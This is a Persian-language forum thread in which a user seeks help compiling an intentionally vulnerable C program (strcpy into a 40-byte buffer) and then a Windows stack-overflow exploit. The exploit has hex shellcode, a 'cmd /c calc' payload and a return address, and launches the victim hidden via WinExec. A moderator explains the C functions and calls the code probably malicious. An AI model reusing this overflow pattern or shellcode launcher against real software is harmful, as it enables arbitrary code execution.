مشکل در اجرای برنامه سی(آرگمان)

mhabat

Member
با سلام.
یک کد به زبان سی هست که از یه سایت گرفتم اما با کامپایلر devمی خوام کامپایل کنم خطا میده.
سورس:
کد:
#include<stdio.h>
#include<string.h> 
#define BUF_LEN 40
void main(int argc, char **argv)
{
char buf[BUF_LEN];
if (argv > 1)
{
printf(„\buffer length: %d\nparameter length: %d”, BUF_LEN, strlen(argv[1]) );
strcpy(buf, argv[1]);
}
}
این قسمت ارور میده:
if (argv > 1)

همچنین اگه میشه بگین ای دستور چه چیزی رو چاپ می کنه:
کد:
printf(„\buffer length: %d\nparameter length: %d”, BUF_LEN, strlen(argv[1]) );

خیلی ممنون
بدرود
 

the_king

مدیرکل انجمن
برنامه ای که اجرا میشه می تونه یک یا چند پارامتر ورودی داشته باشه، فرضا format یک برنامه است که پارتیشن رو
فرمت می کنه، وقتی بصورت :format C اجرا بشه، :C پارامتر اون میشه. ممکنه یک برنامه بیش از یک پارامتر
داشته باشه، فرضا Format C: /X دو پارامتر داره، :C و X/ . پارامتر ها با کاراکتر های white-space مثل کاراکتر فاصله
از هم تفکیک می شوند.

argv آرایه ای از رشته ها است و پارامتر های برنامه رو ذخیره می کنه، [argv[0 اسم خود برنامه است
و [argv[1 اولین پارامتر و [argv[2 دومین پارامتر و ... خواهد بود.
argc طول آرایه argv رو مشخص می کنه، فرضا اگر 3 باشه، [argv[0 و [argv[1 و [argv[2 موجود اند.

اصولا شرط if تون باید argc > 1 باشه، نه argv > 1 ، اون شرط برای اینه که اگر برنامه پارامتر نداشته باشه،
صرفا [argv[0 موجوده و argc برابر 1 خواهد بود. اگر برنامه پارامتر داشته باشد حتما argc بزرگتر از 1 است.

اون سطر می نویسه طول بافر 40 ئه و بعد طول پارامتر اول رو بر حسب کاراکتر نشون میده.
 

mhabat

Member
سلام.
خیلی ممنون فهمیدم چی به چیه.
الان سورس رو تغییر دادم اما از printfارور می گیره.
کد:
#include<stdlib.h>
#include<stdio.h>
#include<string.h> 
#define BUF_LEN 40
void main(int argc, char **argv)
{
char buf[BUF_LEN];
if (argc > 1)
{
printf(„\buffer length: %d\nparameter length: %d”, BUF_LEN, strlen(argc) );
strcpy(buf, argc);
}
}
خیلی ممنون
 

the_king

مدیرکل انجمن
سلام.
خیلی ممنون فهمیدم چی به چیه.
الان سورس رو تغییر دادم اما از printfارور می گیره.
پارامتر اول printf تون باید یک رشته باشه، با " شروع بشه و با " خاتمه پیدا کنه، نه با „ و ”

کد:
printf(„[B][COLOR="Red"]\buffer length: %d\nparameter length: %d[/COLOR][/B]”, BUF_LEN, strlen(argc));
 

mhabat

Member
سلام.ممنون درست شد با توضیحاتی که دادین.
حالا در ادامه برنامه بالا باید از برنامه زیر استفاده بشه(برنامه بالایی رو با نام test.exeکامپایل کردم)
سورس:

کد:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <iostream.h>
char *victim = "testi.exe";
char *code = "\x90\x90\x90\x83\xec\x28\xeb\x0b\xe8\xe2\xa8\xd6\x77\x50\xe8\xc1\x90\xd6\x77\x33\xc0\x50\xe8\xed\xff\xff\xff";
char *oper = "cmd /c calc||";
char *rets = "\xc0\xfe\x12";
char par[42];
void main()
{
strncat(par, code, 28);
strncat(par, oper, 14);
strncat(par, rets, 4);
char *buf;
buf = (char*)malloc( strlen(victim) + strlen(par) + 4);
if (!buf)
{
printf("Error malloc");

return;
}
wsprintf(buf, "%s \"%s\"", victim, par);
printf("Calling: %s", buf);
WinExec(buf, 0);
}
الان سورس بالا اجرا نمیشه نمدونم مشکل کجاست.
اگر هم میشه این قسمت هارو توضیح بدین:
کد:
(char*)malloc( strlen(victim) + strlen(par) + 4);
تفاوته printfبا:
کد:
wsprintf(buf, "%s \"%s\"", victim, par);
و
کد:
WinExec(buf, 0);
خیلی ممنون(این دیگه قسمت آخرشه)
بدرود.
 

the_king

مدیرکل انجمن
سلام.ممنون درست شد با توضیحاتی که دادین.
حالا در ادامه برنامه بالا باید از برنامه زیر استفاده بشه(برنامه بالایی رو با نام test.exeکامپایل کردم)
الان سورس بالا اجرا نمیشه نمدونم مشکل کجاست.
اگر هم میشه این قسمت هارو توضیح بدین:
کد:
(char*)malloc( strlen(victim) + strlen(par) + 4);
تفاوته printfبا:
کد:
wsprintf(buf, "%s \"%s\"", victim, par);
و
کد:
WinExec(buf, 0);
خیلی ممنون(این دیگه قسمت آخرشه)
بدرود.

malloc به اندازه ای که مشخص می کنید حافظه RAM بهتون تحویل میده، برای مواردی کاربرد داره که حافظه
مورد نیاز بصورت ثابت مشخص نیست، شبیه new ای عمل می کنه که در ++C هست. پارامتری که بهش
تحویل می دهید طول حافظه بر حسب بایته و مقداری که بر می گردونه آدرس شروع اون حافظه ای است
که تخصیص داده شده.


فرمت خروجی wsprintf / sprintf شبیه wprintf / printf ئه، با این تفاوت که یک پارامتر اضافی داره و
خروجی اش رو به نمایشگر ارسال نمی کنه، خروجی اش رو در یک رشته string ذخیره می کنه.
اولین پارامتر اش آدرس همون رشته ای است که قراره خروجی داخلش ذخیره بشه.

WinExec یک برنامه رو اجرا می کنه. پارامتر اول سطر فرمانی که باید اجرا بشه و پارامتر دوم نوع پنجره برنامه،
مثلا 0 یا SW_HIDE یعنی پنجره رو نشون نده و مخفیانه اجرا کن.
 

mhabat

Member
سلام.
آقا اینارو نمی دونستم اما فهمیدم منظوره برنامه چیه.
فقط نمی دونید کجاش اشتباهه که اجرا نمیشه؟
 

the_king

مدیرکل انجمن
سلام.
آقا اینارو نمی دونستم اما فهمیدم منظوره برنامه چیه.
فقط نمی دونید کجاش اشتباهه که اجرا نمیشه؟

نه. احتمالا از این کد های مخرب ای است که با سر ریز کردن بافر یک کد ماشین رو اجرا می کنند.
 

جدیدترین ارسال ها

بالا